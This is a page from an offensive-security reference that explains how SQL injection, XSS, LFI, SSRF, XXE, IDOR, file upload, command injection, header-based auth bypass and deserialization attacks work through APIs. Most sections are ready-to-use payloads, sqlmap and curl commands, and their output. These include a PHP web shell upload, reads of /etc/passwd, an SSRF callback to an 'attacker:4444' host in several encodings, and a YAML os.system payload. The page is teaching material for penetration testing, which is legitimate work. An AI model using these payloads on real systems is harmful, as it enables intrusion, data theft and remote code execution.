# API Vuln Context

> How each canonical web-app vulnerability class manifests when delivered through an API surface - body-vs-URL parameter delivery, JSON-shaped payloads, base64-encoded values, content-negotiation pivots, and the API-specific quirks for SQL injection, XSS, LFI, SSRF, XXE, IDOR, file upload, and command injection. A bridge from this cluster to the canonical vuln-class clusters with the API delivery deltas captured here.

<!-- Source: codex/web/web-services/api-vuln-context -->
<!-- Codex offensive-security reference - codex.athenaos.org -->

## TL;DR

Every classical web vulnerability can appear through an API surface - the substance is the same, the delivery channel and encoding are different. This page captures the API-specific deltas; the canonical attack mechanics live in their dedicated clusters.

```
# Same vuln class, different delivery
SQLi      via SOAP <username>'; UNION SELECT * FROM users--</username>
XSS       via REST /api/echo/<script>... after URL-encoding bypasses naive filters
LFI       via API ?filename=../../../etc/passwd (URL-encoded slashes)
SSRF      via API ?id=<base64>http://attacker:4444</base64>
XXE       via JSON→XML content-type pivot, or any XML-body API
IDOR      via REST /api/users/<id> (textbook, see IDOR cluster)
Upload    via POST /api/upload/ with .php Content-Type: application/x-php
Cmd inj   via API parameter reaching system()/shell_exec()
```

Success indicator depends on the underlying vuln class - see the linked cluster for each.

## Why APIs change the picture

The classical web-app vulnerability literature assumes a browser-driven HTML form submitting URL-encoded data. APIs change three things about that picture:

| Dimension | Classical web app | API |
| --- | --- | --- |
| **Body format** | `application/x-www-form-urlencoded` | JSON, XML, multipart, binary |
| **Discovery** | Crawl HTML, find forms | WSDL, OpenAPI, GraphQL introspection, JS bundle reading |
| **Parameter location** | URL query or form body | Any of: URL path segment, URL query, JSON body field, XML element, HTTP header, custom binary frame |
| **Encoding** | URL-encoded | Whatever the format dictates - often double-encoded or base64'd |
| **Reflection** | Page-rendered HTML | Usually JSON response (no HTML reflection - XSS rarer but not zero) |

The vulnerability mechanics don't change. The delivery has to adapt to the format. This page covers the adaptation.

## SQL Injection

The substance: untrusted input concatenated into a SQL query. The API delta: input arrives via a SOAP parameter, JSON field, GraphQL argument, or REST path/query - not a form field.

### Through SOAP

The classic. The SOAP envelope's parameter elements behave exactly like form fields:

```xml
<soap:Body>
  <LoginRequest xmlns="http://tempuri.org/">
    <username>' UNION SELECT username, password FROM users-- -</username>
    <password>anything</password>
  </LoginRequest>
</soap:Body>
```

Same payload class as form-based injection. SQLMap supports SOAP:

```shell
$ sqlmap -u http://target:3002/wsdl \
         --data='<soap:Envelope>...<username>*</username>...</soap:Envelope>' \
         --dbms sqlite --level 5 --risk 3
```

The `*` marks the injection point. SQLMap recognizes SOAP body structure and tests each marked parameter.

### Through JSON body

```http
POST /api/search HTTP/1.1
Content-Type: application/json

{"query": "test' OR '1'='1", "limit": 10}
```

SQLMap handles JSON:

```shell
$ sqlmap -u http://target/api/search \
         --data='{"query":"*", "limit":10}' \
         --headers='Content-Type: application/json'
```

### Through REST URL path segment

```
http://target/api/users/1' UNION SELECT password FROM users-- -
```

Trickier because URL-special characters need encoding:

```
http://target/api/users/1%27%20UNION%20SELECT%20password%20FROM%20users-- -
```

The shell context for crafting these is essentially:

```shell
$ urlencode "1' UNION SELECT password FROM users-- -"
1%27%20UNION%20SELECT%20password%20FROM%20users--%20-
```

See the [SQLi cluster](/codex/web/sqli/) for the mechanics. See [SQLMap request setup](/codex/web/sqli/sqlmap/request-setup/) for non-standard request shapes (JSON body, SOAP envelope, custom headers).

## XSS

The substance: untrusted input rendered as HTML in a context that executes JavaScript. The API delta: API responses are usually JSON - no HTML rendering - but there are exceptions.

### When API responses do render HTML

Some APIs return HTML error pages, status pages, or auto-generated documentation that reflects request parameters:

```http
GET /api/download/<script>alert(1)</script> HTTP/1.1
```

```html
<p>Sorry, file "<script>alert(1)</script>" not found</p>
```

The naive payload often gets escaped. Try URL-encoded variants:

```
http://target/api/download/%3Cscript%3Ealert(1)%3C%2Fscript%3E
```

Some servers decode once during routing, fail to escape on output → URL-encoded form bypasses naive HTML-encoding filters. See [XSS to session](/codex/web/sessions/xss-to-session/).

### When the API renders error pages with reflection

The "value not found" / "invalid parameter" error pattern reflects input:

```http
GET /api/lookup?id=<svg onload=alert(1)>
```

```html
<error>ID '<svg onload=alert(1)>' is not valid</error>
```

If the error response is `Content-Type: text/html`, the payload fires in any browser that fetches it (XS-Search / XS-Leaks style attacks). If the response is `Content-Type: application/json`, the payload doesn't fire automatically - but a victim's browser-side code that JSON.parses and renders the error message may execute it.

### XSS via API into the rendering frontend

The harder-to-spot variant: the API stores attacker-controlled data, the frontend SPA later fetches it and renders. The XSS fires when the *frontend* renders the API response, even though the API itself is "just JSON":

```http
POST /api/profile HTTP/1.1
{"display_name": "<img src=x onerror=alert(1)>"}

# Later, when admin views the user list, the frontend does:
# document.getElementById('name').innerHTML = data.display_name  ← XSS here
```

This is the canonical "stored XSS through an API" pattern. The vulnerability sits at the frontend-renders-API-data join, not in either component alone.

## Local File Inclusion

The substance: untrusted input reaches a file-open operation on the server. The API delta: usually a `filename`/`file`/`download` parameter in the URL or body.

### Through API URL parameter

```http
GET /api/download/..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
```

Or:

```http
GET /api/download?file=../../../etc/passwd HTTP/1.1
```

Same primitive as classical LFI. The URL-encoded slashes (`%2f`) often pass through API routing that would reject literal `../` due to path normalization.

```shell
$ curl 'http://target/api/download/..%2f..%2f..%2fetc%2fpasswd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

See [LFI cluster](/codex/web/lfi/) for the payload catalog (PHP wrappers, log poisoning, etc.).

### Through JSON body

```http
POST /api/get-file HTTP/1.1
Content-Type: application/json

{"path": "/etc/passwd"}
```

Often less defended than URL parameters because input validation typically focuses on URL-level filtering.

## Server-Side Request Forgery

The substance: the server fetches a URL the attacker chooses. The API delta: API parameters frequently accept URLs by design (webhook callbacks, avatar URL fetchers, link previews) and the encoding may be non-obvious.

### Direct URL parameter

```http
GET /api/userinfo?id=http://attacker:4444/ HTTP/1.1
```

Often rejected with "id parameter is invalid" - the API expects a structured ID, not a URL. The encoding trick:

```shell
$ echo "http://attacker:4444/" | base64
aHR0cDovL2F0dGFja2VyOjQ0NDQv

$ curl 'http://target/api/userinfo?id=aHR0cDovL2F0dGFja2VyOjQ0NDQv'
```

The API may decode `id` as base64 internally, treat the decoded value as a URL, fetch it. Listener receives the callback.

### Different encodings to try

When the obvious URL pattern is rejected:

| Encoding | Example |
| --- | --- |
| Plain | `http://attacker:4444/` |
| URL-encoded | `http%3A%2F%2Fattacker%3A4444%2F` |
| Double URL-encoded | `http%253A%252F%252Fattacker%253A4444%252F` |
| Base64 | `aHR0cDovL2F0dGFja2VyOjQ0NDQv` |
| Hex | `687474703a2f2f61747461636b65723a343434342f` |
| JSON-string-escaped | `"http:\/\/attacker:4444\/"` |
| Object reference | `{"url": "http://attacker:4444/"}` instead of bare string |

For each encoding, watch your listener for callbacks. The encoding that succeeds tells you something about the API's internal flow - often base64 means "this parameter is normally a token but the back-end blindly trusts decoded content as a URL."

See [SSRF cluster](/codex/web/server-side/ssrf/) for the full attack catalog (internal scanning, cloud metadata, etc.).

## XXE Injection

The substance: an XML parser resolves external entities the attacker declares. The API delta: any XML-receiving API is a target, plus the Content-Type pivot for JSON APIs.

### Direct on XML API

```http
POST /api/login/ HTTP/1.1
Content-Type: text/plain;charset=UTF-8

<?xml version="1.0"?>
<!DOCTYPE pwn [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
  <email>&xxe;</email>
  <password>any</password>
</root>
```

The API parses the XML body, resolves the entity, includes `/etc/passwd` content in the request processing. See [XXE cluster](/codex/web/xxe/).

### JSON → XML content-type pivot

A JSON API may also accept XML on `Content-Type: application/xml`:

```http
POST /api/users HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE pwn [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>
```

The JSON-converter library on the back-end (Jackson, Symfony Serializer, ASP.NET ModelBinder) may transparently dispatch to an XML parser when Content-Type is XML. The XXE fires before any JSON-specific validation runs.

See [XXE Identifying](/codex/web/xxe/identifying/) for the full Content-Type pivot discussion.

## Insecure Direct Object Reference

The substance: the server trusts a client-supplied identifier without checking authorization. The API delta: REST URLs make IDOR more visible (`/api/users/74`) and more common (every CRUD endpoint is an IDOR candidate by default).

REST APIs are *the* canonical IDOR surface. Every `/api/<resource>/<id>` route deserves substitution testing:

```shell
$ curl -b 'session=mine' http://target/api/users/74     # baseline (own)
$ curl -b 'session=mine' http://target/api/users/75     # foreign
$ for i in $(seq 1 1000); do
    curl -b 'session=mine' "http://target/api/users/$i"
  done > all-users.json
```

See [IDOR Identifying](/codex/web/idor/identifying/) and [IDOR Mass enumeration](/codex/web/idor/mass-enumeration/) for the full catalog.

## Arbitrary File Upload

The substance: the server accepts an attacker-controlled file without validating its type/content correctly. The API delta: API uploads bypass HTML form constraints (no `accept=` attribute, no JavaScript-side validation), so the Content-Type sent is whatever the attacker chooses.

```http
POST /api/upload/ HTTP/1.1
Content-Type: multipart/form-data; boundary=---xxx

-----xxx
Content-Disposition: form-data; name="file"; filename="backdoor.php"
Content-Type: application/x-php

<?php system($_REQUEST['cmd']); ?>
-----xxx--
```

The `Content-Type: application/x-php` is set by the attacker - no browser would default to that. Servers that trust client-supplied Content-Type fail open immediately. The response usually returns the saved file's URL:

```json
{"success": true, "url": "http://target/uploads/backdoor.php"}
```

Then:

```shell
$ curl 'http://target/uploads/backdoor.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

See [Uploads cluster](/codex/web/uploads/) for the complete bypass catalog.

## Command Injection

The substance: untrusted input flows into a shell command. The API delta: API parameters often reach `system()`/`shell_exec()`/`exec()` calls in router-style code that uses `call_user_func_array` or equivalent dynamic dispatch.

The HTB-style pattern:

```php
<?php
// Vulnerable router
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $parts = explode('/', $_SERVER['PATH_INFO']);
    call_user_func_array($parts[1], array_slice($parts, 2));
}
?>
```

Intended use: `GET /api/ping/8.8.8.8/3` calls `ping('8.8.8.8', '3')`.

Abuse: `GET /api/system/ls` calls `system('ls')`. The first path segment is treated as the function name; subsequent segments are arguments.

```shell
$ curl http://target/api/system/id
uid=0(root) gid=0(root) groups=0(root)

$ curl 'http://target/api/system/cat%20%2Fetc%2Fpasswd'
root:x:0:0:root:/root:/bin/bash
...
```

The vulnerability is the dynamic-dispatch router (call_user_func_array with attacker-controlled function name), not the `ping` function's input validation. The route never reaches the `ping` function. See [Command injection cluster](/codex/web/command-injection/).

## Authentication weaknesses

API authentication tends to use bearer tokens, API keys, or HMAC signatures rather than session cookies. Each has its own attack patterns:

| Mechanism | API-specific weaknesses |
| --- | --- |
| **Bearer tokens** | Leaked tokens in logs / Referer headers / GitHub commits; token without expiry; JWT signing weaknesses |
| **API keys** | Hardcoded in mobile apps / JS bundles; checked-in to public repos; not bound to IP / origin |
| **HMAC signatures** | Replay attacks when nonce isn't enforced; signature-bypass tricks (sending without signature on endpoints that don't validate); weak hash algorithms (HMAC-MD5) |
| **OAuth flows** | redirect_uri validation gaps; PKCE bypass; client_secret in frontend code |
| **mTLS** | Server doesn't validate client cert subject; cert pinning bypass in mobile |

For JWT specifically, see [JWT attacks](/codex/web/auth/jwt/). For session-style attacks adapted to API context, see [Sessions cluster](/codex/web/sessions/).

## Rate limiting / authentication header tricks

Many APIs apply rate limiting by IP or by API key. Bypass paths:

### Proxy headers

When the API server respects `X-Forwarded-For` or similar for rate-limit / authentication:

```http
GET /api/admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
```

Internal-only endpoints sometimes whitelist `127.0.0.1` and any of these headers, set by an attacker, satisfies the whitelist.

```php
<?php
// Vulnerable whitelist check
$whitelist = array("127.0.0.1", "1.3.3.7");
if (!in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)) {
    header("HTTP/1.1 401 Unauthorized");
    exit;
}
print("Hello Developer team! ...");
?>
```

`X-Forwarded-For: 127.0.0.1` bypasses the check completely.

### Token rotation / IP rotation

For rate-limited endpoints where one token has a per-hour budget:

```shell
# Rotate through multiple test accounts
for token in $TOKEN1 $TOKEN2 $TOKEN3; do
    curl -H "Authorization: Bearer $token" http://target/api/...
done
```

Or rotate IPs via proxy chains (Tor, residential proxies, etc.) - beyond the scope of this page.

## Format-confusion attacks

A relatively novel API-specific attack class: the API accepts multiple formats (JSON, XML, MessagePack, YAML) and parsing differs.

```http
POST /api/login HTTP/1.1
Content-Type: application/yaml

username: admin
password: !!python/object/apply:os.system ["id"]
```

If the back-end uses Python's `yaml.load()` (deprecated) instead of `yaml.safe_load()`, the `!!python/object/apply:` directive executes `os.system("id")` at parse time - RCE before any application logic runs.

The same pattern with different formats:

| Format | Vulnerable parser |
| --- | --- |
| YAML | Python `yaml.load`, Ruby `YAML.load` (older) |
| Pickle | Python `pickle.loads()` on untrusted data - always RCE |
| Java serialized | `ObjectInputStream.readObject()` on untrusted bytes - classic ysoserial chain |
| .NET BinaryFormatter | Equivalent .NET vuln |
| PHP serialize | `unserialize()` with magic methods (`__wakeup`, `__destruct`) |
| MessagePack | Generally safe but custom ext-types sometimes deserializable |

When you find an API that accepts multiple formats via Content-Type, try each - the lesser-traveled format is often the one with the deserialization bug.

This bridges into deserialization attacks, which are large enough for their own cluster (a candidate for a future round).

## Quick reference

| Vuln class | API delivery pattern | Canonical cluster |
| --- | --- | --- |
| SQL injection | Body element, JSON field, URL path segment | [SQLi](/codex/web/sqli/) |
| XSS | API error reflection, stored-then-rendered, URL-encoded payload | [XSS to session](/codex/web/sessions/xss-to-session/) |
| LFI | URL-encoded `../`, `filename=` JSON field | [LFI](/codex/web/lfi/) |
| SSRF | URL parameter, base64-encoded URL, JSON-shaped URL | [SSRF](/codex/web/server-side/ssrf/) |
| XXE | XML-body API, JSON→XML Content-Type pivot | [XXE](/codex/web/xxe/) |
| IDOR | REST `/api/<resource>/<id>` substitution | [IDOR](/codex/web/idor/) |
| File upload | POST with attacker-chosen Content-Type | [Uploads](/codex/web/uploads/) |
| Command injection | API parameter into shell, dynamic-dispatch router | [Command injection](/codex/web/command-injection/) |
| Auth bypass via headers | `X-Forwarded-For: 127.0.0.1`, etc. | (this page above) |
| Deserialization | YAML/Pickle/Java/PHP/messagepack via Content-Type | future cluster |
| ReDoS | Long crafted strings against vulnerable regex | [ReDoS](/codex/web/web-services/redos/) |
| WordPress XML-RPC abuse | `xmlrpc.php` brute / pingback / multicall | [WP XML-RPC](/codex/web/wordpress/xmlrpc-abuse/) |
| SOAPAction spoofing | Body operation ≠ header SOAPAction | [SOAPAction spoofing](/codex/web/web-services/soapaction-spoofing/) |

For the standalone API-specific topic (ReDoS), see [ReDoS](/codex/web/web-services/redos/). For the capstone chain (SOAPAction spoofing + SQL injection), see [Skill assessment chain](/codex/web/web-services/skill-assessment-chain/).